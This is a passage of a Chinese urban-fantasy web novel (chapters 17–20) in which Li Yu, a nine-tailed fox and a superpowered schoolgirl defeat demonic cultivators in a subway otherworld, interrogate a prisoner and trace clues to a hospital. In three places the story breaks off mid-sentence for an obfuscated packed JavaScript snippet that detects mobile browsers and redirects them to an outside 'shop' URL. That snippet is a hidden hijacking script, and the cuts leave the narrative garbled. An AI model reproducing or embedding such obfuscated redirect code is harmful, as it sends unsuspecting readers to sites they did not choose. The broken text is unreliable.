要不是黎钰躲得及时,她高低得被他糊到墙上去。 发觉自己的体型过于庞大,狐狸的皮毛上亮起银白色的亮光,他的体型正迅速缩小成一辆电动车的大小。 这时,黎钰才发现,头顶的天花板已经被谢安霖硬生生挤出了一个长椭圆的凹陷。 黎钰熟练地翻身上狐,抓住他的毛发,就像真的在骑电动车,“师傅,开快点——” 还没说完,九尾狐仿佛火箭一般弹射出去,黎钰差点咬到舌头。 一路上,谢安霖速度很快,没有撞上魔物。因为只有魔物的尸体,它们横七竖八地散落在隧道上。越往深处,魔物的嘶吼声愈发微弱,但地面的震感却丝毫未停止,甚至越来越强。 很明显,在二人到来之前,就有人出手了。 “基本都是一击爆头。”都不用下“车”查看,魔物的脑袋上均有一个盆口宽的血洞,看一眼就知道死因了,尸体上还闻到焦糊的气味。 黎钰的脑海中浮现出方程的样貌,不禁猜测,莫非她也是具有异能的天选者? 忽然,一个乌漆麻黑的东西朝黎钰二人飞了过来,还带着诡异的魔气,谢安霖忙着赶路。面对如此大礼,黎钰不客气地汇聚魔气,一拳抡上去,直接将袭击物砸得粉碎。 血浆飞溅,爆开的魔物肢体撒在四周,前方不再是隧道,缓缓有微光亮起。 “是站台!” 又是飞来的魔物,只是这一次,黎钰清晰地看见了对方的整体。 那魔物的脑袋被利刃洞穿,仿佛丢垃圾一般随手往隧道丢去——刚才“袭击”的魔物也是如此。 “黎钰,你来得也太晚了吧?” 方程的声音在她的耳边响起,爆炸声、武器交织的碰撞声交替响起,震耳欲聋。 借助微光,烟尘散去,方程站在站台中央,甚至都没回头看向身后的黎钰。 谢安霖整只狐都惊呆了,“你居然是能力者?!” 方程的右手持着一柄散发着赤红微光的巨枪,枪尖就像螺旋的铁钻,比起长枪,更像一把缩小版的破城矛,炽热的红光沿着螺纹流转。 黎钰只是稍作惊讶,但对方程的真实身份并无过多震惊——说到底,就算是警察的女儿,跆拳道高手,也不可能嬉皮笑脸地主动当先锋蹲点魔修,对面那可都是杀人不眨眼的修仙者! 除非她是异能者。 望着方程手里的巨型破城矛,黎钰大概想通隧道里的魔物是怎么死的了——合着是被路过的女高中生一枪爆头了。 看到方程是异能者,黎钰松了一口气。比起卷入魔物的屠杀,只能灰头土脸地逃亡、躲藏,显然是现在的情况更好。 而方程的对面,则是三位黑衣兜帽的魔修,为首之人的双手如巨兽利爪般尖锐,其余二者手持刀剑,本来死死注视着方程一举一动的兽化魔修,看到方程援军的到来——尤其看到黎钰的脸,愣在了原地。 他认识黎钰。 开玩笑,看过暗区直播的魔修都知道,元婴期老祖都能被她一招秒杀,当着直播间的面! 遇上这位杀神,要么夹着尾巴有多远跑多远,要么自杀——反正,被自断经脉和自杀无异了。 兽化魔修不动声色后退一步,指示左右两边的魔修:“你们两个,去牵制她。” 好在手下这俩是新调来的愣头青,首领刚开始还鄙夷他们连电子用品都不会用。现在,他十分庆幸这俩没看过直播——可以当炮灰。 两位魔修手下听令,立刻一跃而上,长刀利剑伴着涌动的漆黑灵力,至上而下,如天罗地网锁住黎钰的行动。 “啪”的一声,黎钰打了个响指。声落,那包围黎钰的蛛丝般的灵力瞬间崩解,像灰尘般消散在空中。 可是,那如粉尘消散的魔气并没有消失,而是重新压缩、聚集成半透明的立方体,精准暴力地向下砸去,几十吨的质量差点把两个人压成肉泥。 现在他们口吐白沫,仿佛一条死狗瘫软在地上,血肉模糊,生死不明。 那为首的魔修毫无追击的欲求,嘱咐手下去牵制黎钰后,扭头就跑,丝毫不管手下死活。 他脑子又没病,元婴老祖都死了,他一个金丹,为啥要和黎钰战斗?现在,走为上计! 一旁的方程则是紧紧关注着魔修的动向,见他有逃离的想法,枪尖烈焰迸发,“居然当逃兵,刚才和我打的时候,倒是仗着人多势众嚣张得很啊!” 红色的炎热光柱自枪尖释放,越过黎钰,精准击向位于后方的兽化魔修。对方反应不及,硬是被冲击波击飞了十几米。 地面在那道高温烈焰的灼烧下,熔解出一条橙红的凹陷。 这家伙居然让自己手下去当炮灰牵制黎钰,自己却悄悄遁走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993187|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽化魔修借助冲击的力量,头也不回地冲向站台一侧的电梯,试图逃窜。 一道淡金色的细绳环绕在魔修的脖子上,忽地绷紧,就像紧箍咒般,兽化魔修用力扯着脖子的“绳索”,不等他挣断,兽化魔修被绳索牵引着,在空中甩出一道完美的抛物线,头着地,精准落在谢安霖的面前。 魔修刚准备重新起身逃离,就和狐狸对上了视线,只见头顶黑乎乎的一片,他寻思站台也没关灯啊。定睛一看,原来是九尾狐的爪子拍下来了。 现在,他也和一旁的手下一样,差点变成人饼了。 “额,他们没死吧?” 对于制造地铁血案的人渣,方程没什么怜悯之心,但要调查事件源头,还是抓活的比较好。 黎钰竖起食指,摇了摇:“方程,你要相信修仙者的体质。” 就算看上去被砸成了肉饼,也不会死,修仙者就是这样命硬的生物。 “说起来,列车上的其他人呢?怎么就你一个。”听到方程求援,黎钰还以为是整座列车都陷入了异域之中。 “这个啊,我偏移了一下列车的轨道,让他们在这块异域兜了一圈,然后重新驶回现世了。”方程“哎嘿嘿”地笑着。 “现在他们应该报警了吧?” 随着魔修的昏迷,方程的视线就没从九尾狐身上离开过。 那九条毛绒绒的尾巴晃来晃去,一点杂色都没有,全身上下都是纯洁的白色。 “这难道是你养的神兽……” 方程的猜测还没说完,谢安霖就变回了人形。当然,还是古风版,而非少儿不宜版。狐耳在他的脑袋上一抖一抖的,他高傲地挺起胸膛,瞥了方程一眼。 “谢安霖?”方程一脸震惊。 原来他真是狐狸精啊,她就说谢安霖脑袋上的狐耳这么逼真,没想到是真货。 “等下,难道之前小区里那头白色煤气罐也是你?”短发少女震惊地捂住嘴,天哪,她还尝试过手贱地摸他尾巴,然后一脚蹬飞。 黎钰淡定点头,方程的反应完全在她的意料之中:“没错,就是他。” 真没想到,小区里被黎钰捡回家的白狐居然是传说中的九尾狐!听黎钰说,还是他主动黏黎钰回家的。 想必这就是传说中的神兽认主吧。 听到她又用这个侮辱性的词,谢安霖十分生气,但他听不懂什么意思,只能一边飞机耳,一边抓着黎钰的手臂:“黎钰,煤气罐是什么意思……她绝对是在骂本尊吧!” 说你本体是胖狐狸的意思。 “夸你本体矫健可爱,一看就很健康强壮。” “不、不是在骂本尊?” “……我们都用这个词夸可爱毛绒绒的宠物。” 安抚完谢安霖的情绪,黎钰好奇地看向方程,此时的她已经将那把一人高的机械破城矛收起,看上去就像个出来闲逛的普通高中生,“没想到你居然是异能者,莫非也是对策局的人?” “那是我的兼职……”方程无辜地对手指。 这年头的兼职真是越来越离谱了。 还有,方程是未成年吧?步星澜这是在雇佣童工?! 察觉到黎钰微妙的眼神,方程无所谓地摆手道:“反正都当天选者了,寒暑假在对策局接点兼职单也不是不行嘛。” “……你接的单,是魔修的通缉悬赏吗?” “回答正确!” 18. 白发魔修的身份 对策局真是人才辈出,连宿舍楼下的宠物用品店店长都是能力者。尽管方程说这是她妈的店,但无差,都是她家的店。 对策局的人正在赶来的路上,听步星澜说,这次还是他亲自上阵。 “……我们对策局就没其他天选者了吗?”黎钰一深入联想,“难道步星澜是光杆司令?” 方程心虚地移开了目光,没有回答。 “……我在说上司坏话,不要在这种地方沉默,倒是说两句反驳我啊!” “正规、且全职的作战人员,好像真的只有你们……”不深入联想还好,一想这件事,方程更心虚了。 “什么叫你们?” 方程指着一头雾水的狐狸精:“那头九尾狐不是新来的警犬吗?” “他昨天才到东阳国啊!”别说警察证了,甚至身份证都没有。 “那也是拿五险一金的正式工!” 黎钰差点两眼一黑,“我们……还有别的战斗人员吗?不算兼职的话。” “额,局长算吗?” “不算。” “那……还是有的,都是辅助偏潜伏型,”几个熟悉的面孔在方程的脑海中浮现,“纯论作战能力,他们没你们强。” 黎钰真要撅过去了,她就说,能主动打电话找上门的工作,不是什么好工作——就算是体制内也一样,再结合娱乐公司的合约,黎钰现在要打两份工! 谢安霖听得一脸懵,还好他适应力强,勉强搞懂了二人的对话。对策局没有专门对付魔修的修仙者?就他和黎钰两个人?狐狸精瞬间飞机耳了。 “……你不是来支援的修士?”谢安霖竖起瞳孔,盯着方程。 他神识一扫过方程,差点炸毛。 在他的神识中,方程身上毫无灵力反应,完全就是凡人。就算她召唤出炎枪,操控烈焰,他也感知不到灵力的存在。究竟是怎么回事?这太匪夷所思了! 和黎钰的接受良好不同,谢安霖真的要炸毛了。 “我有说过我是修士吗?”方程无辜地反问道。 黎钰才想起来,这位青丘国师来到这个世界,除了她、步星澜、疑似镜魔血统的希理,还有刚才的魔修以外,就没见过其他异能者。 “……其实,郑飞也是异能者。”那位试图撸狐狸,结果被谢安霖一巴掌扇手的实习警员。 “我刚到青丘时,不也是这样吗?你类比一下不就好了?”黎钰摸了摸他的耳朵,给他顺毛。当时在青丘,第一场见到黎钰操控魔气的场景时,谢安霖的九条尾巴就跟开屏一样炸开了。 比起孔雀开屏,更令人瞩目的,更莫过于九尾狐开屏——尽管那是炸毛了。 方程也笑眯眯地安慰他:“就是,你看黎钰接受力多强。谢安霖,你要好好跟前辈学习!啊对了,按资历,我也是你的前辈喔!” 要不是人形不方便,谢安霖高低得一口啃上去,给方程手上钉几个洞。 一旁的魔修昏迷着,被黎钰捆得严严实实:“话说,你要是告诉我异能者的身份,你不就不用偷溜出学校了吗?” 无视谢安霖凶狠的目光,方程摇头:“没用的,班主任不会允许的。” 班主任不允许当然正常,可为什么你一个走读生,上学时会随身携带休闲常服啊!你这家伙是不是早就想体验逃课的快感了! “还有啊,你前几天网上的风波闹挺大的。局里帮你澄清了,现实还有魔修在盯着你,要是这时候传出‘雇佣在校高中生蹲点杀人犯’……” 暗处的魔修一推波助澜,黎钰的风评将迎来二度反转。 听她是为了自己,黎钰有些不好意思:“你还挺为后辈着想。” 等待对策局到来的途中,短发少女随便找了个位置,坐在地上,打开手机游戏直接开玩。 “当然,”然后,方程向她伸出手,“所以黎钰,我的奶茶呢?” …… 在对策局来人之前,魔修首领就苏醒了。 一睁眼,他就看见一头巨大的九尾狐,眼神凶狠,跟狱卒似的,蹲在他左边虎视眈眈,似要一口咬断他的头。 他战战兢兢地转向右边,深棕色长发的少女正靠在站台边缘,喝着之前没喝完的奶茶,见他醒了,似笑非笑地盯着他。 “黎、黎钰?!”魔修首领宁愿自己昏过去,在他两眼一黑之前,手举炎枪的短发少女一边喝着加料的珍珠奶茶,一边用枪头戳他的胸口,看他是不是在装死。 魔修首领想起来了,这枪没多久前,爆发的烈焰红光差点把他捅个对穿。一想到这把枪下一秒就要戳穿他的胸膛,魔修首领瘫软在地上,不敢动弹。 “两位大人……” 黎钰打断他的话,召唤出自己的本命武器,一把抽在他脚边,“我知道你身上有禁咒,接下来,我问,你只要回答yesorno,明白?” “是、明白了!”魔修吓得后退半步,颤声应下黎钰的话。 在地面上,泛着微光的术法在魔修身后启动,一旁的九尾狐就像看门狗似的,蹲在一边,要是他有什么小动作,就把他一巴掌拍成肉饼。 “我勒个去,黎钰你这是鞭子,还是剑啊?” 那把武器宛若巨兽的脊柱般蜿蜒,就像硬质长鞭,表面泛起一层圣洁的淡金。可黎钰召唤的那一瞬间,方程清晰地看见,这把“鞭子”还是细长的刺剑,黎钰一甩,就变成鞭了。 回想起来,之前黎钰一把勒住魔修脖子的“绳子”,恐怕就是这柄长鞭了。 “……现在是审讯时间,先别打断我。”黎钰长鞭一甩,抽在地砖上,那地面竟裂出一条深深的凹痕。 黎钰俯视着已经抖成筛子的魔修:“不想吃苦的话,就老实交代。” “终焉黑日的人?” “是……” “近期的坠楼事件是终焉黑日的手笔,对吧?” 魔修小心翼翼地点头。 “你的上线派你做的?他极其擅长精神类幻术?” 再次得到魔修肯定的说法。 黎钰很想直接搜魂,但考虑到他们体内的禁咒,一搜魂百分百自爆,什么都问不出来。就算再不情愿,也只能这样旁敲侧击地逼供了。 陈柏和他的朋友们遭遇的列车屠杀,究竟与坠楼事件有何关联?根据修仙界的除魔经历,他们制造某种血腥事件一定有所目的。 回想起那位死在自己手上的化神期“小男孩”,他死前招供时说的“召唤”……黎钰心里忽然有了想法: “为了召唤某位特殊存在,坠楼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993188|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事件是必经流程之一?” 魔修点头了。 “地铁列车事件也是如此?”黎钰话音一沉。 “是……” “你们打算在东阳国搞大动作,就在近期,对吧?”方程接替黎钰,质问他,手里的巨型破城矛光芒涌动,杀意几乎化作实质。 “……没、没错。” 黎钰向谢安霖点头示意,九尾狐非常配合,一巴掌砸在他的大腿上,直接打碎他重生不久的腿骨,仿佛一辆重型卡车碾了上来,魔修顿时感觉自己见到了太奶。 “我说!我什么都说,别杀我!” 回想起那位幸存者的证词,他和陈柏一样,在地铁站台的屠杀中,被一位白发的魔修救下,侥幸逃离地狱。 “上周,地铁的屠杀事件由你负责?” “是!”魔修首领连忙点头。 “当时,一位白发的大乘期魔修也在现场,对吗?” 听到“白发”二字,魔修的身子本能地哆嗦了一瞬,仿佛想起某种可怖的存在。 他们果然认识! “他也是终焉黑日的人?” 魔修摇头了,眼里满是恐惧。 不同属于一个势力的魔修?大乘期,难道是真理会的高层?为什么真理会会出现在这里?想到白发魔修从终焉黑日的手下救了人,黎钰问道:“他是真理会的人,和你们爆发了一场战斗?” “是,那家伙……把我的手下全杀了。” 难道白发魔修是友方?黎钰不禁想道,一旁的方程似乎察觉到黎钰的想法,“真理会和终焉黑日是敌对没错,但不代表他们是对策局的友方。” “你说的那个白毛魔修,多半只是刚好路过,看同行不顺眼,就顺手杀了,救下陈柏他们恐怕只是意外。你想想他们的晋级方法,大乘期魔修,不可能是友军。” 方程拿枪指着魔修首领:“喂,既然是手下败将,他的长相你有印象不?” 魔修却恐惧地摇头。 “没印象还是不能说?” “不行……”他指了指自己的嘴巴,身子往后缩去。 看来是说不出来,难道对方的身份也属于禁咒封存情报的一部分?黎钰试探问道,却得到了魔修肯定的答复。 真理会和终焉黑日两者是敌对,但白毛魔修的身份面貌居然是禁忌吗? “他在地球上,是位高权重的人物?” 这次,面对黎钰的问题,魔修首领没有回答“是”或“否”,更没有回答不知道。他的眉毛拧成一团,不知该如何回答。 啥意思,她的猜测半对半错? 黎钰看向谢安霖,九尾狐目光无辜,狐耳抖动,向黎钰传音:【本尊盯着他,他没讲假话。】 或者说,这位真理会的魔修不算大人物,但又有一定知名度—— 熟悉的面容浮上心头,黎钰的下一个问题卡在喉间,怎么也问不出声。 步星澜说过,真理会和顾家有联系。顾望宁身怀异能——更重要的是,他是当今顶流。 “那白发魔修姓顾,是顾家的长子顾望宁,对吗?” 一片静寂之中,方程清悦的嗓音代替黎钰发问了。 “没错——” 魔修给出了肯定的回答。 19. 连轴转的一天 “轰”!魔修的五官瞬间炸裂开来,血浆迸溅,要不是黎钰用魔气护住方程和谢安霖…… 今天她就要洗狐狸了。 方程被这阵仗吓了一跳,“真理会不是终焉黑日对家吗?为什么顾家的情报在终焉黑日那里算机密啊?” 说得好,黎钰也想问。 她寻思原书《星遇》里,也没有“男主是魔修”这一诡异的设定吧?究竟什么情况? 黎钰想起来,顾望宁用异能救过她的父母没错,可在救下他们的一周后,他们仍然死于车祸,黎钰成为了孤儿。 如果他是魔修的话,救下幸存者,然后在对方获得希望时再杀死,这是顾望宁身为魔修的处事手段吗? 黎钰回忆着自己最后见到他的情景。 他告诉自己,天花板上有监视她的摄像头,可那时候黎钰已经成为了天选者,觉醒了异能,顾望宁是怎么逃过自己的魔气监测的? 她的魔气操控是魔修克星,就连大乘期魔修也无例外,难道顾望宁有隐藏魔气的异能? 又或者说,莫非顾望宁也是穿越者—— 联想到这里,黎钰不禁有个大胆的猜想。他是不是被穿来的魔修夺舍了? 可当时见到顾望宁,她的异能真的毫无反应。黎钰百思不得其解。 “他究竟是不是凶手啊……” 无证定罪不可取,但也不能贸然认定顾望宁是无辜者,她要查清顾望宁身上的情况! …… 好在没多久,对策局来人了。不是走隧道,而是从扶梯飞下来的。 其中就有黎钰的老熟人。郑飞。 郑飞的降落姿势就像坠机一般,一个落地没站稳,完美平地摔,还伴随凄咧的惨叫 和他完全不同,步星澜雪白的袖袍飞舞,墨发如绸缎般甩在身后,缓缓落下,就像真正的神仙一样。 其他人都很习以为常,丝毫没有不适,就他一个脸着地。 “局长,为啥飞剑不自带安全气囊啊!”要是他坠机时,给他自动弹出一个防护垫,他不就不用脸着地了? 安全气囊能否解决吓得腿软的问题先放在一边,飞剑塞安全气囊……这提议可真有建设性。 虽然对于高空飞行,安全气囊没作用。但低空的话,真可以塞进飞剑里,毕竟对策局有规定,禁止在3000米往上的高空御剑飞行,防止撞上飞机,也防止高空坠物。 据黎钰的经验,正常修仙者不会闲着没事飞这么高,最多也就几层楼的高度,撑死几百米——她估算过,之前穿越到修仙界也是这个高度。 面对郑飞富有想象力的问题,步星澜看了一眼,懒得回答。黎钰从他的目光中看出浓浓的心累。 步星澜淡淡瞥向地面昏迷不醒的魔修,以及刚死亡不久的尸体。“黎钰,方程,你们谁来汇报情况?” 方程心虚地移开目光。黎钰不明白她为何沉默,于是主动上前告诉步星澜情况,以及自己对顾望宁的猜测。 “原来如此,我大致了解了。” 他若有所思地点头:“黎钰,你最近和顾望宁有联络吗?” “一个小时前,我还在微信和他聊天。”黎钰连忙将通讯情况告诉步星澜。 旁边的九尾白狐一直沉默不语,端庄地坐在黎钰脚边,活像个巨大的三角饭团,只是身后插了一堆尾巴。 谢安霖听着几人的交流,视线却从来没离开过方程,竖起瞳孔,静静注视着短发少女。 在他的视线中,浅浅的黑气从方程眉心流出,那道气息如丝线般纤细,乍看还以为是错觉。但神识的感知告诉他,方程中了某种咒术。 他的解咒方式和黎钰不同,没她那么温柔。 为了防止伤到人,谢安霖刚刚特地变回小狐狸的形态,但没人理会他的随地大小变。 谢安霖弓起身子,就像一枚即将发射的火箭,压缩到极致,唰地弹出去,直奔方程手腕。 “卧槽啊啊啊啊!”在方程凄惨的叫声下,谢安霖一口咬在她的手腕上,跟个订书机一样,甩都甩不开。 她的手没有流血受伤,甚至没破皮,但被疯狗咬过,那滋味,方程都不想说——平时都是她咬狗,第一次被狗咬。 “你得狂犬病了吗?!” 谢安霖没理会她,高傲翘着尾巴,走到黎钰面前,将嘴里的黑乎乎的魔气吐在地上。 满脸写着快!夸!我! 黎钰停止汇报,惊讶地盯着他吐出来的东西。她面前的步星澜也认出来了。 “魔息?!” 她回头看向正在甩手的方程,她的手臂如同广播体操般抽搐着,试图甩掉不存在的口水。 “你中咒术了?” 方程则不可思议地指着自己:“啥玩意,我啥时候中的咒术啊?” 步星澜也反应过来了,那团黑色的魔气在他手中翻转,他沉思一瞬:“是暗示咒文。恐怕你你进入隧道之时,就已被下咒了。” “那九尾狐直接把你体内的魔咒扯了出来。”步星澜一副“还不谢谢人家”的表情。 也就是说,谢安霖还救了她?方程有些尴尬,她刚才还吓得骂他狂犬病来着。 “谢谢你帮忙……”虽然对方并不需要她道谢。 这位救命恩狐根本没鸟她,一边嘤嘤嘤,一边用毛绒绒的脑袋疯狂拱黎钰,半人高的煤气罐扑她身上,但凡她不是修仙者,高低得被谢安霖创飞。 方程暗中发誓,看在谢安霖救了她一命的份上,她下次不会再喊他煤气罐了。 黎钰头都歪了,她手忙脚乱地摸着狐狸,“行了,谢安霖,你做得很好,解咒也很棒,但能不能先从我身上下去。” “还有其他人——” 等下,其他人? 黎钰忽然想到,方程的两位同班同学在地铁事件之中,均中了自杀暗示的咒术。 方程来到这片诡异的站台,单挑三个魔修以及一堆魔物,和同学一样,也在不自觉的情况下,身中了魔修的咒术——即便她是异能者。 她都这样,那经过这片异域的列车呢? 方程的咒术被谢安霖解开了,黎钰略一思考:“方程,你之前不是说,你坐的那班地铁经过了这里?” “那上边的乘客是否和你一样,全中了魔修的咒术?” 瞬间,在场所有人脸色发白。黎钰的猜测大概率是对的。 就算方程是强大的异能者,但她法术抗性几乎为零,阴狠的修仙界秘术完全就是异能者的克星——路过的普通人更不用说。 “报告,局长!”记笔记的郑飞举手,“我们在接到列车乘客的报警后,将他们全聚集在空旷的地方了。” “但不能拖太久……得快点找个人去解除他们身上的法术。”拖久了,是个人都会闹。 步星澜捂额,“我在这边留个分灵——” “等一下,”黎钰打断他,视线聚焦其他警员们身上,“他们……会不会也中了咒术?” “可能性极高,”步星澜连忙替每个人做简单的检查,他们身上果然有术法!他眼眸一冷,“只会使下三滥手段,这些阴险、狡诈、恶毒、卑鄙的魔族!” 甚至气得一词一顿了。 他瞬身离去,只留下一个半透明的白色灵体在原地,和后勤人员一同,协助施法布阵、清理痕迹,还将两个不省人事的魔修,与一具爆体而亡的尸体捆到一边。 黎钰觉得,他要不是个修仙者,早就过劳死了。 察觉到黎钰怜悯的目光,步星澜的虚影转向两人一狐,“有什么好看的,那具尸体交给你们!继续调查!” 放假是不可能的,步星澜自己都没放假,还得四处留分灵调查。 “那我也留下——”方程举手申请留下协助调查。 “不,你回去。” “为啥?!”方程瞬间垮起个脸。 “十分钟前,你的班主任打电话告诉我,你逃课了,”步星澜幽幽地望向她,“你有什么想解释的?” “额、那是办案……”方程高涨的气势瞬间蔫下,悄悄用手肘戳了下黎钰,向她挤眉弄眼,希望她替自己求情。 黎钰假装无事发生,若无其事地撸狐狸。 话说,为啥方程的班主任会打电话给步星澜,他又不是她爸? “她说,你今晚敢不去晚自习,她明天就去家访。” “我现在回学校!” 此时,距离七点的晚自习还有半小时。她头也不回,蹬瞪冲上站台。 感受到黎钰疑惑的视线,步星澜重重叹气:“家长那栏,她填父亲的名字,我的电话号码……” “噗!”黎钰笑出声,一个手滑,在谢安霖幽怨的目光中,薅下一大撮狐毛。 “对不起,不是故意拔毛助长的。” …… 送走方程,彻底清除警员们身上的咒法后,黎钰和谢安霖就开始调查尸体上残存的魔气,尝试追踪施术者的所在地。 尸体额头被贴上符纸,随着咒文发动,一条浅淡的红线延伸而出,攀上停止运行的扶梯,向负一层延伸。 “走,跟上去看看!” 望着红线的指向,一旁的步星澜脸色有些惊讶,黎钰连忙带着九尾狐,跟红线的方向冲上扶梯—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993189|193821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到了负一层。 寂静空旷,就连针掉在地上都听得见,零星的警员在摆弄她没见过的设备。 这个特殊站台并不存在于物理维度上,黎钰缓步向前,看向红线所指的,通向地面的通道。 【A出口】 阶梯尽头黑不见底,就像通往地狱的道路,黎钰本想顺着道路追踪,结果被“空气墙”拦住了——那是步星澜设下的结界,几个大字仿佛弹幕般在空气中飘来飘去。 【前方的区域一片漆黑,以后再来探索吧】 除此之外,黎钰还发现好几个出口通道,均被结界封存。 步星澜的分灵跟在她旁边,喃喃自语:“果然是这个出口……” 先不吐槽充满即视感,仿佛被游戏腌入味的空气墙,黎钰问道:“局长,这里通向何处?” “疫黑尊的领地。” “根据调查,对方早在一个月前就离开领地,潜入了现代世界。” “那外面是……” “灵域,”白色的透明虚影淡淡扫了她一眼,“别想了,现在不是旅游时间。” 真麻烦,看来符纸是行不通了,黎钰拍了拍谢安霖的狗头,“就你了,谢安霖!使用气味追踪,找出幕后黑手的所在地吧!” “那本尊试一下!”不明白她为何激动,但九尾狐还是照做了。他的身上泛起金光,阵法随之发动,狐狸耳朵用力弯下来,眉头紧皱,变成了飞机耳。 “……很模糊。封闭的空间,看上去像地下室,白色的人影在走动,他们身上都是血,脖子之上空空如也……推着沾满血液的……推车?” “不行!结界拦下了我的神识!”九尾狐失落地瘫成一片狐饼。 黎钰想象了一下他描述的场景,谢安霖不是现代人,很多她司空见惯的事物,对他来说,和稀奇古怪的法器没什么区别。 但她和谢安霖在修仙界当了这么久的战友,默契十足,她瞬间就翻译出了他所见的场景。 “……医院?” 具体是哪个医院有待商榷,但至少缩小了排查范围! “接下来就是排查可疑的医院了!” “辛苦了,”步星澜轻拍她的肩膀,“这方面的地毯式检索还得辛苦你了,对策局暂时分不出更多战斗人员。我们也会让其他‘兼职’人员多多留意这方面情况。” 比如说方程?不对,她进攻能力极强,但幻术抗性低下,那位名为“疫黑尊”的魔修,极其擅长精神与诅咒术法,这次的排查任务不适合方程。 看来步星澜会安排其他“兼职”人员。 …… 刚一走出传送阵,黎钰就收到了经纪人的夺命微信电话。 “黎钰啊,你也该找个时间和粉丝们互动一下了,”经纪人给她打电话,劝说她,“粉丝们都很期待你的探秘直播。” “等我处理完手上这起案子就去!”黎钰靠在墙边,回完经纪人的电话,就打开微博。 【天灾对策局官方:黎钰负责的坠楼案已取得突破性进展,涉案主犯之一自尽,从犯二人已被抓捕,正在审讯中。】 这么快就出通告了? 【我去,这么快逮到人了?黎钰昨天才进专案组吧?这也太神速了。】 【难怪账号改了名后,一点也不营业,原来在闷声破案吗?】 【我就是七中的学生,黎钰今天还来我们这里调查了呢。我还以为她是和助手来拍戏的,没想到真的来调查楼上同学的死因。】 【对的对的,当时还是物理课,她和火箭班的班主任聊着呢,我隔着走廊都能瞄到她们。】 【她的助手穿着古装,头上还有狐耳,居然不是来拍戏的?这是什么新型便衣???】 黎钰默默吐槽,或许那不是便衣,那是警犬。 【话说,之后的坠楼案还会有人死吗?警方只抓到了主谋“之一”……】 【感觉还是会,只能祈祷黎钰加油了。】 【不一定吧,他的上线被黎钰这么搞,应该已经自顾不暇了,还有时间制造新案吗?】 她忽然有了个想法,为何不趁这个热度,在网上收集情报呢? 本地的人们或许有关于怪异医院的线索? 她对着荧光屏幕,开始斟酌语句。对外,她肯定不能直白说“幕后黑手就在医院里,我需要情报,请各位帮帮忙”,网络上也有魔修潜伏,她不能这么打草惊蛇。 既然她是对策局的灵异探秘主播…… 【众所周知,医院作为灵异怪谈的高发地,我想收集一下大家身边关于新海市“医院”的异闻,下期做个访谈。】 20. 诡异的紧急任务 收集情报这方面是不能指望谢安霖了,他不仅不熟悉现代世界,遇上魔修只会变回原形狐行霸道。 这事,只能靠黎钰在网上搜罗情报了。 新鲜的粉丝就是活跃,在黎钰发帖后,她们纷纷讲述起了自己在医院的经历。 【我有一次半夜去医院,坐电梯下一楼,这破电梯吱呀作响,比起鬼,我更害怕这玩意突发恶疾停在楼层中央!】 【我也要分享,有一次打点滴,医生拿了罐差不多一升的药液过来,我本来就低血糖,差点吓昏过去了。】 【恐怖的话……我有一次凌晨坐电梯走错层,走廊空寥寥,尽头还闪着诡异的红光。我走出电梯,脑子一片空白,不敢动。然后有人拍我肩膀,我瞬间跳起来给对面一个头槌,才发现那是值班护士……这是住院部,我走错层了,真的不好意思(哭)】 这热评,还是黎钰特地筛选了IP的评论。 “喂,怎么变成医院搞笑故事分享会了!” 她的怪谈和情报去哪了! 评论区一页盖过一页,要从里面翻阅出有用的资料,比登天还难,“老天能不能保佑我……” 评论区的太多了,一点有用信息都没有,但她还真在私信翻到了可疑的情报。可喜可贺。 【黎钰姐姐,我是沿江东路的幸存者之一。我希望您看到这条消息。】 黎钰的视线瞬间被开头这句话吸引了。她点开发信人的消息,并同意了对方的好友请求。 那是一条超级无敌长的私信,黎钰合理怀疑这字数应该有几百了。 黎钰继续翻着对方一口气发来的长作文,为了防止遗漏信息,她认真浏览着。 【我在中央医院修养得好好的,爸妈却像中邪一样,强行让我转去郊区的精神病院!】 对方倒是聪明,一口气把精神病院的地址、规模等等全发给她了。 而且,对面的IP地址也是新海市,黎钰翻阅着未知发信者的信息,“如果只是和父母有恩怨,我一个外人不好插手啊……” 但接下来的信息出乎黎钰的意料,对方继续写着消息:【那些医生护士,笑得好渗人,脸比尸体还白!我还听见隔壁的病房一直传来惨叫和哀嚎……】 脚边的白狐早就变回了人形,谢安霖好奇地把脑袋凑到黎钰脸边,想看看黎钰在干什么。 黎钰没有理他,推开他的脸,让他一边呆着去。 购物商城角落的长椅,两人又是养眼的美女帅哥,回头率百分百——如果谢安霖没有捂住脸,委屈地望着黎钰的话。 她斟酌片刻,回复对方:【那些医护人员有其他可疑之处吗?】 【不知道,我一直呆在病房里,没人来找我……】 对方仿佛想起了什么,通话框显示着“正在输入中”。【医院的人来查房了,我先躲起来——】 